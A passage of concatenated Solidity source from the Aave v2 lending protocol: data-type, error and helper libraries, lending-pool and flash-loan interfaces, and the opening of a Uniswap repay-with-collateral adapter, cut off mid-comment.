setLendingRateOracle(address lendingRateOracle) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; library DataTypes { // refer to the whitepaper, section 1.1 basic concepts for a formal description of these properties. struct ReserveData { //stores the reserve configuration ReserveConfigurationMap configuration; //the liquidity index. Expressed in ray uint128 liquidityIndex; //variable borrow index. Expressed in ray uint128 variableBorrowIndex; //the current supply rate. Expressed in ray uint128 currentLiquidityRate; //the current variable borrow rate. Expressed in ray uint128 currentVariableBorrowRate; //the current stable borrow rate. Expressed in ray uint128 currentStableBorrowRate; uint40 lastUpdateTimestamp; //tokens addresses address aTokenAddress; address stableDebtTokenAddress; address variableDebtTokenAddress; //address of the interest rate strategy address interestRateStrategyAddress; //the id of the reserve. Represents the position in the list of the active reserves uint8 id; } struct ReserveConfigurationMap { //bit 0-15: LTV //bit 16-31: Liq. threshold //bit 32-47: Liq. bonus //bit 48-55: Decimals //bit 56: Reserve is active //bit 57: reserve is frozen //bit 58: borrowing is enabled //bit 59: stable rate borrowing enabled //bit 60-63: reserved //bit 64-79: reserve factor uint256 data; } struct UserConfigurationMap { uint256 data; } enum InterestRateMode {NONE, STABLE, VARIABLE} } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; interface IUniswapV2Router02 { function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title IPriceOracleGetter interface * @notice Interface for the Aave price oracle. **/ interface IPriceOracleGetter { /** * @dev returns the asset price in ETH * @param asset the address of the asset * @return the ETH price of the asset **/ function getAssetPrice(address asset) external view returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; interface IERC20WithPermit is IERC20 { function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol'; import {SafeERC20} from '../../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {IFlashLoanReceiver} from '../interfaces/IFlashLoanReceiver.sol'; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; abstract contract FlashLoanReceiverBase is IFlashLoanReceiver { using SafeERC20 for IERC20; using SafeMath for uint256; ILendingPoolAddressesProvider public immutable override ADDRESSES_PROVIDER; ILendingPool public immutable override LENDING_POOL; constructor(ILendingPoolAddressesProvider provider) public { ADDRESSES_PROVIDER = provider; LENDING_POOL = ILendingPool(provider.getLendingPool()); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {IPriceOracleGetter} from '../../interfaces/IPriceOracleGetter.sol'; import {IUniswapV2Router02} from '../../interfaces/IUniswapV2Router02.sol'; interface IBaseUniswapAdapter { event Swapped(address fromAsset, address toAsset, uint256 fromAmount, uint256 receivedAmount); struct PermitSignature { uint256 amount; uint256 deadline; uint8 v; bytes32 r; bytes32 s; } struct AmountCalc { uint256 calculatedAmount; uint256 relativePrice; uint256 amountInUsd; uint256 amountOutUsd; address[] path; } function WETH_ADDRESS() external returns (address); function MAX_SLIPPAGE_PERCENT() external returns (uint256); function FLASHLOAN_PREMIUM_TOTAL() external returns (uint256); function USD_ADDRESS() external returns (address); function ORACLE() external returns (IPriceOracleGetter); function UNISWAP_ROUTER() external returns (IUniswapV2Router02); /** * @dev Given an input asset amount, returns the maximum output amount of the other asset and the prices * @param amountIn Amount of reserveIn * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @return uint256 Amount out of the reserveOut * @return uint256 The price of out amount denominated in the reserveIn currency (18 decimals) * @return uint256 In amount of reserveIn value denominated in USD (8 decimals) * @return uint256 Out amount of reserveOut value denominated in USD (8 decimals) * @return address[] The exchange path */ function getAmountsOut( uint256 amountIn, address reserveIn, address reserveOut ) external view returns ( uint256, uint256, uint256, uint256, address[] memory ); /** * @dev Returns the minimum input asset amount required to buy the given output asset amount and the prices * @param amountOut Amount of reserveOut * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @return uint256 Amount in of the reserveIn * @return uint256 The price of in amount denominated in the reserveOut currency (18 decimals) * @return uint256 In amount of reserveIn value denominated in USD (8 decimals) * @return uint256 Out amount of reserveOut value denominated in USD (8 decimals) * @return address[] The exchange path */ function getAmountsIn( uint256 amountOut, address reserveIn, address reserveOut ) external view returns ( uint256, uint256, uint256, uint256, address[] memory ); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title Errors library * @author Aave * @notice Defines the error messages emitted by the different contracts of the Aave protocol * @dev Error messages prefix glossary: * - VL = ValidationLogic * - MATH = Math libraries * - CT = Common errors between tokens (AToken, VariableDebtToken and StableDebtToken) * - AT = AToken * - SDT = StableDebtToken * - VDT = VariableDebtToken * - LP = LendingPool * - LPAPR = LendingPoolAddressesProviderRegistry * - LPC = LendingPoolConfiguration * - RL = ReserveLogic * - LPCM = LendingPoolCollateralManager * - P = Pausable */ library Errors { //common errors string public constant CALLER_NOT_POOL_ADMIN = '33'; // 'The caller must be the pool admin' string public constant BORROW_ALLOWANCE_NOT_ENOUGH = '59'; // User borrows on behalf, but allowance are too small //contract specific errors string public constant VL_INVALID_AMOUNT = '1'; // 'Amount must be greater than 0' string public constant VL_NO_ACTIVE_RESERVE = '2'; // 'Action requires an active reserve' string public constant VL_RESERVE_FROZEN = '3'; // 'Action cannot be performed because the reserve is frozen' string public constant VL_CURRENT_AVAILABLE_LIQUIDITY_NOT_ENOUGH = '4'; // 'The current liquidity is not enough' string public constant VL_NOT_ENOUGH_AVAILABLE_USER_BALANCE = '5'; // 'User cannot withdraw more than the available balance' string public constant VL_TRANSFER_NOT_ALLOWED = '6'; // 'Transfer cannot be allowed.' string public constant VL_BORROWING_NOT_ENABLED = '7'; // 'Borrowing is not enabled' string public constant VL_INVALID_INTEREST_RATE_MODE_SELECTED = '8'; // 'Invalid interest rate mode selected' string public constant VL_COLLATERAL_BALANCE_IS_0 = '9'; // 'The collateral balance is 0' string public constant VL_HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD = '10'; // 'Health factor is lesser than the liquidation threshold' string public constant VL_COLLATERAL_CANNOT_COVER_NEW_BORROW = '11'; // 'There is not enough collateral to cover a new borrow' string public constant VL_STABLE_BORROWING_NOT_ENABLED = '12'; // stable borrowing not enabled string public constant VL_COLLATERAL_SAME_AS_BORROWING_CURRENCY = '13'; // collateral is (mostly) the same currency that is being borrowed string public constant VL_AMOUNT_BIGGER_THAN_MAX_LOAN_SIZE_STABLE = '14'; // 'The requested amount is greater than the max loan size in stable rate mode string public constant VL_NO_DEBT_OF_SELECTED_TYPE = '15'; // 'for repayment of stable debt, the user needs to have stable debt, otherwise, he needs to have variable debt' string public constant VL_NO_EXPLICIT_AMOUNT_TO_REPAY_ON_BEHALF = '16'; // 'To repay on behalf of an user an explicit amount to repay is needed' string public constant VL_NO_STABLE_RATE_LOAN_IN_RESERVE = '17'; // 'User does not have a stable rate loan in progress on this reserve' string public constant VL_NO_VARIABLE_RATE_LOAN_IN_RESERVE = '18'; // 'User does not have a variable rate loan in progress on this reserve' string public constant VL_UNDERLYING_BALANCE_NOT_GREATER_THAN_0 = '19'; // 'The underlying balance needs to be greater than 0' string public constant VL_DEPOSIT_ALREADY_IN_USE = '20'; // 'User deposit is already being used as collateral' string public constant LP_NOT_ENOUGH_STABLE_BORROW_BALANCE = '21'; // 'User does not have any stable rate loan for this reserve' string public constant LP_INTEREST_RATE_REBALANCE_CONDITIONS_NOT_MET = '22'; // 'Interest rate rebalance conditions were not met' string public constant LP_LIQUIDATION_CALL_FAILED = '23'; // 'Liquidation call failed' string public constant LP_NOT_ENOUGH_LIQUIDITY_TO_BORROW = '24'; // 'There is not enough liquidity available to borrow' string public constant LP_REQUESTED_AMOUNT_TOO_SMALL = '25'; // 'The requested amount is too small for a FlashLoan.' string public constant LP_INCONSISTENT_PROTOCOL_ACTUAL_BALANCE = '26'; // 'The actual balance of the protocol is inconsistent' string public constant LP_CALLER_NOT_LENDING_POOL_CONFIGURATOR = '27'; // 'The caller of the function is not the lending pool configurator' string public constant LP_INCONSISTENT_FLASHLOAN_PARAMS = '28'; string public constant CT_CALLER_MUST_BE_LENDING_POOL = '29'; // 'The caller of this function must be a lending pool' string public constant CT_CANNOT_GIVE_ALLOWANCE_TO_HIMSELF = '30'; // 'User cannot give allowance to himself' string public constant CT_TRANSFER_AMOUNT_NOT_GT_0 = '31'; // 'Transferred amount needs to be greater than zero' string public constant RL_RESERVE_ALREADY_INITIALIZED = '32'; // 'Reserve has already been initialized' string public constant LPC_RESERVE_LIQUIDITY_NOT_0 = '34'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_ATOKEN_POOL_ADDRESS = '35'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_STABLE_DEBT_TOKEN_POOL_ADDRESS = '36'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_VARIABLE_DEBT_TOKEN_POOL_ADDRESS = '37'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_STABLE_DEBT_TOKEN_UNDERLYING_ADDRESS = '38'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_VARIABLE_DEBT_TOKEN_UNDERLYING_ADDRESS = '39'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_ADDRESSES_PROVIDER_ID = '40'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_CONFIGURATION = '75'; // 'Invalid risk parameters for the reserve' string public constant LPC_CALLER_NOT_EMERGENCY_ADMIN = '76'; // 'The caller must be the emergency admin' string public constant LPAPR_PROVIDER_NOT_REGISTERED = '41'; // 'Provider is not registered' string public constant LPCM_HEALTH_FACTOR_NOT_BELOW_THRESHOLD = '42'; // 'Health factor is not below the threshold' string public constant LPCM_COLLATERAL_CANNOT_BE_LIQUIDATED = '43'; // 'The collateral chosen cannot be liquidated' string public constant LPCM_SPECIFIED_CURRENCY_NOT_BORROWED_BY_USER = '44'; // 'User did not borrow the specified currency' string public constant LPCM_NOT_ENOUGH_LIQUIDITY_TO_LIQUIDATE = '45'; // "There isn't enough liquidity available to liquidate" string public constant LPCM_NO_ERRORS = '46'; // 'No errors' string public constant LP_INVALID_FLASHLOAN_MODE = '47'; //Invalid flashloan mode selected string public constant MATH_MULTIPLICATION_OVERFLOW = '48'; string public constant MATH_ADDITION_OVERFLOW = '49'; string public constant MATH_DIVISION_BY_ZERO = '50'; string public constant RL_LIQUIDITY_INDEX_OVERFLOW = '51'; // Liquidity index overflows uint128 string public constant RL_VARIABLE_BORROW_INDEX_OVERFLOW = '52'; // Variable borrow index overflows uint128 string public constant RL_LIQUIDITY_RATE_OVERFLOW = '53'; // Liquidity rate overflows uint128 string public constant RL_VARIABLE_BORROW_RATE_OVERFLOW = '54'; // Variable borrow rate overflows uint128 string public constant RL_STABLE_BORROW_RATE_OVERFLOW = '55'; // Stable borrow rate overflows uint128 string public constant CT_INVALID_MINT_AMOUNT = '56'; //invalid amount to mint string public constant LP_FAILED_REPAY_WITH_COLLATERAL = '57'; string public constant CT_INVALID_BURN_AMOUNT = '58'; //invalid amount to burn string public constant LP_FAILED_COLLATERAL_SWAP = '60'; string public constant LP_INVALID_EQUAL_ASSETS_TO_SWAP = '61'; string public constant LP_REENTRANCY_NOT_ALLOWED = '62'; string public constant LP_CALLER_MUST_BE_AN_ATOKEN = '63'; string public constant LP_IS_PAUSED = '64'; // 'Pool is paused' string public constant LP_NO_MORE_RESERVES_ALLOWED = '65'; string public constant LP_INVALID_FLASH_LOAN_EXECUTOR_RETURN = '66'; string public constant RC_INVALID_LTV = '67'; string public constant RC_INVALID_LIQ_THRESHOLD = '68'; string public constant RC_INVALID_LIQ_BONUS = '69'; string public constant RC_INVALID_DECIMALS = '70'; string public constant RC_INVALID_RESERVE_FACTOR = '71'; string public constant LPAPR_INVALID_ADDRESSES_PROVIDER_ID = '72'; string public constant VL_INCONSISTENT_FLASHLOAN_PARAMS = '73'; string public constant LP_INCONSISTENT_PARAMS_LENGTH = '74'; string public constant UL_INVALID_INDEX = '77'; string public constant LP_NOT_CONTRACT = '78'; string public constant SDT_STABLE_DEBT_OVERFLOW = '79'; string public constant SDT_BURN_EXCEEDS_BALANCE = '80'; enum CollateralManagerErrors { NO_ERROR, NO_COLLATERAL_AVAILABLE, COLLATERAL_CANNOT_BE_LIQUIDATED, CURRRENCY_NOT_BORROWED, HEALTH_FACTOR_ABOVE_THRESHOLD, NOT_ENOUGH_LIQUIDITY, NO_ACTIVE_RESERVE, HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD, INVALID_EQUAL_ASSETS_TO_SWAP, FROZEN_RESERVE } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, 'Address: insufficient balance'); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(''); require(success, 'Address: unable to send value, recipient may have reverted'); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; /** * @title IFlashLoanReceiver interface * @notice Interface for the Aave fee IFlashLoanReceiver. * @author Aave * @dev implement this interface to develop a flashloan-compatible flashLoanReceiver contract **/ interface IFlashLoanReceiver { function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) external returns (bool); function ADDRESSES_PROVIDER() external view returns (ILendingPoolAddressesProvider); function LENDING_POOL() external view returns (ILendingPool); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {ILendingPoolAddressesProvider} from './ILendingPoolAddressesProvider.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; interface ILendingPool { /** * @dev Emitted on deposit() * @param reserve The address of the underlying asset of the reserve * @param user The address initiating the deposit * @param onBehalfOf The beneficiary of the deposit, receiving the aTokens * @param amount The amount deposited * @param referral The referral code used **/ event Deposit( address indexed reserve, address user, address indexed onBehalfOf, uint256 amount, uint16 indexed referral ); /** * @dev Emitted on withdraw() * @param reserve The address of the underlyng asset being withdrawn * @param user The address initiating the withdrawal, owner of aTokens * @param to Address that will receive the underlying * @param amount The amount to be withdrawn **/ event Withdraw(address indexed reserve, address indexed user, address indexed to, uint256 amount); /** * @dev Emitted on borrow() and flashLoan() when debt needs to be opened * @param reserve The address of the underlying asset being borrowed * @param user The address of the user initiating the borrow(), receiving the funds on borrow() or just * initiator of the transaction on flashLoan() * @param onBehalfOf The address that will be getting the debt * @param amount The amount borrowed out * @param borrowRateMode The rate mode: 1 for Stable, 2 for Variable * @param borrowRate The numeric rate at which the user has borrowed * @param referral The referral code used **/ event Borrow( address indexed reserve, address user, address indexed onBehalfOf, uint256 amount, uint256 borrowRateMode, uint256 borrowRate, uint16 indexed referral ); /** * @dev Emitted on repay() * @param reserve The address of the underlying asset of the reserve * @param user The beneficiary of the repayment, getting his debt reduced * @param repayer The address of the user initiating the repay(), providing the funds * @param amount The amount repaid **/ event Repay( address indexed reserve, address indexed user, address indexed repayer, uint256 amount ); /** * @dev Emitted on swapBorrowRateMode() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user swapping his rate mode * @param rateMode The rate mode that the user wants to swap to **/ event Swap(address indexed reserve, address indexed user, uint256 rateMode); /** * @dev Emitted on setUserUseReserveAsCollateral() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user enabling the usage as collateral **/ event ReserveUsedAsCollateralEnabled(address indexed reserve, address indexed user); /** * @dev Emitted on setUserUseReserveAsCollateral() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user enabling the usage as collateral **/ event ReserveUsedAsCollateralDisabled(address indexed reserve, address indexed user); /** * @dev Emitted on rebalanceStableBorrowRate() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user for which the rebalance has been executed **/ event RebalanceStableBorrowRate(address indexed reserve, address indexed user); /** * @dev Emitted on flashLoan() * @param target The address of the flash loan receiver contract * @param initiator The address initiating the flash loan * @param asset The address of the asset being flash borrowed * @param amount The amount flash borrowed * @param premium The fee flash borrowed * @param referralCode The referral code used **/ event FlashLoan( address indexed target, address indexed initiator, address indexed asset, uint256 amount, uint256 premium, uint16 referralCode ); /** * @dev Emitted when the pause is triggered. */ event Paused(); /** * @dev Emitted when the pause is lifted. */ event Unpaused(); /** * @dev Emitted when a borrower is liquidated. This event is emitted by the LendingPool via * LendingPoolCollateral manager using a DELEGATECALL * This allows to have the events in the generated ABI for LendingPool. * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation * @param user The address of the borrower getting liquidated * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover * @param liquidatedCollateralAmount The amount of collateral received by the liiquidator * @param liquidator The address of the liquidator * @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants * to receive the underlying collateral asset directly **/ event LiquidationCall( address indexed collateralAsset, address indexed debtAsset, address indexed user, uint256 debtToCover, uint256 liquidatedCollateralAmount, address liquidator, bool receiveAToken ); /** * @dev Emitted when the state of a reserve is updated. NOTE: This event is actually declared * in the ReserveLogic library and emitted in the updateInterestRates() function. Since the function is internal, * the event will actually be fired by the LendingPool contract. The event is therefore replicated here so it * gets added to the LendingPool ABI * @param reserve The address of the underlying asset of the reserve * @param liquidityRate The new liquidity rate * @param stableBorrowRate The new stable borrow rate * @param variableBorrowRate The new variable borrow rate * @param liquidityIndex The new liquidity index * @param variableBorrowIndex The new variable borrow index **/ event ReserveDataUpdated( address indexed reserve, uint256 liquidityRate, uint256 stableBorrowRate, uint256 variableBorrowRate, uint256 liquidityIndex, uint256 variableBorrowIndex ); /** * @dev Deposits an `amount` of underlying asset into the reserve, receiving in return overlying aTokens. * - E.g. User deposits 100 USDC and gets in return 100 aUSDC * @param asset The address of the underlying asset to deposit * @param amount The amount to be deposited * @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user * wants to receive them on his own wallet, or a different address if the beneficiary of aTokens * is a different wallet * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function deposit( address asset, uint256 amount, address onBehalfOf, uint16 referralCode ) external; /** * @dev Withdraws an `amount` of underlying asset from the reserve, burning the equivalent aTokens owned * E.g. User has 100 aUSDC, calls withdraw() and receives 100 USDC, burning the 100 aUSDC * @param asset The address of the underlying asset to withdraw * @param amount The underlying amount to be withdrawn * - Send the value type(uint256).max in order to withdraw the whole aToken balance * @param to Address that will receive the underlying, same as msg.sender if the user * wants to receive it on his own wallet, or a different address if the beneficiary is a * different wallet * @return The final amount withdrawn **/ function withdraw( address asset, uint256 amount, address to ) external returns (uint256); /** * @dev Allows users to borrow a specific `amount` of the reserve underlying asset, provided that the borrower * already deposited enough collateral, or he was given enough allowance by a credit delegator on the * corresponding debt token (StableDebtToken or VariableDebtToken) * - E.g. User borrows 100 USDC passing as `onBehalfOf` his own address, receiving the 100 USDC in his wallet * and 100 stable/variable debt tokens, depending on the `interestRateMode` * @param asset The address of the underlying asset to borrow * @param amount The amount to be borrowed * @param interestRateMode The interest rate mode at which the user wants to borrow: 1 for Stable, 2 for Variable * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man * @param onBehalfOf Address of the user who will receive the debt. Should be the address of the borrower itself * calling the function if he wants to borrow against his own collateral, or the address of the credit delegator * if he has been given credit delegation allowance **/ function borrow( address asset, uint256 amount, uint256 interestRateMode, uint16 referralCode, address onBehalfOf ) external; /** * @notice Repays a borrowed `amount` on a specific reserve, burning the equivalent debt tokens owned * - E.g. User repays 100 USDC, burning 100 variable/stable debt tokens of the `onBehalfOf` address * @param asset The address of the borrowed underlying asset previously borrowed * @param amount The amount to repay * - Send the value type(uint256).max in order to repay the whole debt for `asset` on the specific `debtMode` * @param rateMode The interest rate mode at of the debt the user wants to repay: 1 for Stable, 2 for Variable * @param onBehalfOf Address of the user who will get his debt reduced/removed. Should be the address of the * user calling the function if he wants to reduce/remove his own debt, or the address of any other * other borrower whose debt should be removed * @return The final amount repaid **/ function repay( address asset, uint256 amount, uint256 rateMode, address onBehalfOf ) external returns (uint256); /** * @dev Allows a borrower to swap his debt between stable and variable mode, or viceversa * @param asset The address of the underlying asset borrowed * @param rateMode The rate mode that the user wants to swap to **/ function swapBorrowRateMode(address asset, uint256 rateMode) external; /** * @dev Rebalances the stable interest rate of a user to the current stable rate defined on the reserve. * - Users can be rebalanced if the following conditions are satisfied: * 1. Usage ratio is above 95% * 2. the current deposit APY is below REBALANCE_UP_THRESHOLD * maxVariableBorrowRate, which means that too much has been * borrowed at a stable rate and depositors are not earning enough * @param asset The address of the underlying asset borrowed * @param user The address of the user to be rebalanced **/ function rebalanceStableBorrowRate(address asset, address user) external; /** * @dev Allows depositors to enable/disable a specific deposited asset as collateral * @param asset The address of the underlying asset deposited * @param useAsCollateral `true` if the user wants to use the deposit as collateral, `false` otherwise **/ function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external; /** * @dev Function to liquidate a non-healthy position collateral-wise, with Health Factor below 1 * - The caller (liquidator) covers `debtToCover` amount of debt of the user getting liquidated, and receives * a proportionally amount of the `collateralAsset` plus a bonus to cover market risk * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation * @param user The address of the borrower getting liquidated * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover * @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants * to receive the underlying collateral asset directly **/ function liquidationCall( address collateralAsset, address debtAsset, address user, uint256 debtToCover, bool receiveAToken ) external; /** * @dev Allows smartcontracts to access the liquidity of the pool within one transaction, * as long as the amount taken plus a fee is returned. * IMPORTANT There are security concerns for developers of flashloan receiver contracts that must be kept into consideration. * For further details please visit https://developers.aave.com * @param receiverAddress The address of the contract receiving the funds, implementing the IFlashLoanReceiver interface * @param assets The addresses of the assets being flash-borrowed * @param amounts The amounts amounts being flash-borrowed * @param modes Types of the debt to open if the flash loan is not returned: * 0 -> Don't open any debt, just revert if funds can't be transferred from the receiver * 1 -> Open debt at stable rate for the value of the amount flash-borrowed to the `onBehalfOf` address * 2 -> Open debt at variable rate for the value of the amount flash-borrowed to the `onBehalfOf` address * @param onBehalfOf The address that will receive the debt in the case of using on `modes` 1 or 2 * @param params Variadic packed params to pass to the receiver as extra information * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function flashLoan( address receiverAddress, address[] calldata assets, uint256[] calldata amounts, uint256[] calldata modes, address onBehalfOf, bytes calldata params, uint16 referralCode ) external; /** * @dev Returns the user account data across all the reserves * @param user The address of the user * @return totalCollateralETH the total collateral in ETH of the user * @return totalDebtETH the total debt in ETH of the user * @return availableBorrowsETH the borrowing power left of the user * @return currentLiquidationThreshold the liquidation threshold of the user * @return ltv the loan to value of the user * @return healthFactor the current health factor of the user **/ function getUserAccountData(address user) external view returns ( uint256 totalCollateralETH, uint256 totalDebtETH, uint256 availableBorrowsETH, uint256 currentLiquidationThreshold, uint256 ltv, uint256 healthFactor ); function initReserve( address reserve, address aTokenAddress, address stableDebtAddress, address variableDebtAddress, address interestRateStrategyAddress ) external; function setReserveInterestRateStrategyAddress(address reserve, address rateStrategyAddress) external; function setConfiguration(address reserve, uint256 configuration) external; /** * @dev Returns the configuration of the reserve * @param asset The address of the underlying asset of the reserve * @return The configuration of the reserve **/ function getConfiguration(address asset) external view returns (DataTypes.ReserveConfigurationMap memory); /** * @dev Returns the configuration of the user across all the reserves * @param user The user address * @return The configuration of the user **/ function getUserConfiguration(address user) external view returns (DataTypes.UserConfigurationMap memory); /** * @dev Returns the normalized income normalized income of the reserve * @param asset The address of the underlying asset of the reserve * @return The reserve's normalized income */ function getReserveNormalizedIncome(address asset) external view returns (uint256); /** * @dev Returns the normalized variable debt per unit of asset * @param asset The address of the underlying asset of the reserve * @return The reserve normalized variable debt */ function getReserveNormalizedVariableDebt(address asset) external view returns (uint256); /** * @dev Returns the state and configuration of the reserve * @param asset The address of the underlying asset of the reserve * @return The state of the reserve **/ function getReserveData(address asset) external view returns (DataTypes.ReserveData memory); function finalizeTransfer( address asset, address from, address to, uint256 amount, uint256 balanceFromAfter, uint256 balanceToBefore ) external; function getReservesList() external view returns (address[] memory); function getAddressesProvider() external view returns (ILendingPoolAddressesProvider); function setPause(bool val) external; function paused() external view returns (bool); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {BaseUniswapAdapter} from './BaseUniswapAdapter.sol'; import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol'; import {IUniswapV2Router02} from '../interfaces/IUniswapV2Router02.sol'; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; /** * @title UniswapRepayAdapter * @notice Uniswap V2 Adapter to perform a repay of a debt with collateral. * @author Aave **/ contract UniswapRepayAdapter is BaseUniswapAdapter { struct RepayParams { address collateralAsset; uint256 collateralAmount; uint256 rateMode; PermitSignature permitSignature; bool useEthPath; } constructor( ILendingPoolAddressesProvider addressesProvider, IUniswapV2Router02 uniswapRouter, address wethAddress ) public BaseUniswapAdapter(addressesProvider, uniswapRouter, wethAddress) {} /** * @dev Uses the received funds from the flash loan to repay a debt on the protocol on behalf of the user. Then pulls * the collateral from the user and swaps it to the debt asset to repay the flash loan. * The user should give this contract allowance to pull the ATokens in order to withdraw the underlying asset, swap it * and repay the flash loan. * Supports only one asset on the flash loan. * @param assets Address of debt asset * @param amounts Amount of the debt to be repaid * @param premiums Fee of the flash loan * @param initiator Address of the user * @param params Additional variadic field to include extra params. Expected parameters: * address collateralAsset Address of the reserve to be swapped * uint256 collateralAmount Amount of reserve to be swapped * uint256 rateMode Rate modes of the debt to be repaid * uint256 permitAmount Amount for the permit signature * uint256 deadline Deadline for the permit signature * uint8 v V param for the permit signature * bytes32 r R param for the permit signature * bytes32 s S param for the permit signature */ function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) external override returns (bool) { require(msg.sender == address(LENDING_POOL), 'CALLER_MUST_BE_LENDING_POOL'); RepayParams memory decodedParams = _decodeParams(params); _swapAndRepay( decodedParams.collateralAsset, assets[0], amounts[0], decodedParams.collateralAmount, decodedParams.rateMode, initiator, premiums[0], decodedParams.permitSignature, decodedParams.useEthPath ); return true; } /** * @dev Swaps the user collateral for the debt asset and then repay the debt on the protocol on behalf of the user * without using flash loans. This method can be used when the temporary transfer of the collateral asset to this * contract does not affect the user position. * The user should give this contract allowance to pull the ATokens in order to withdraw the underlying asset * @param collateralAsset Address of asset to be swapped * 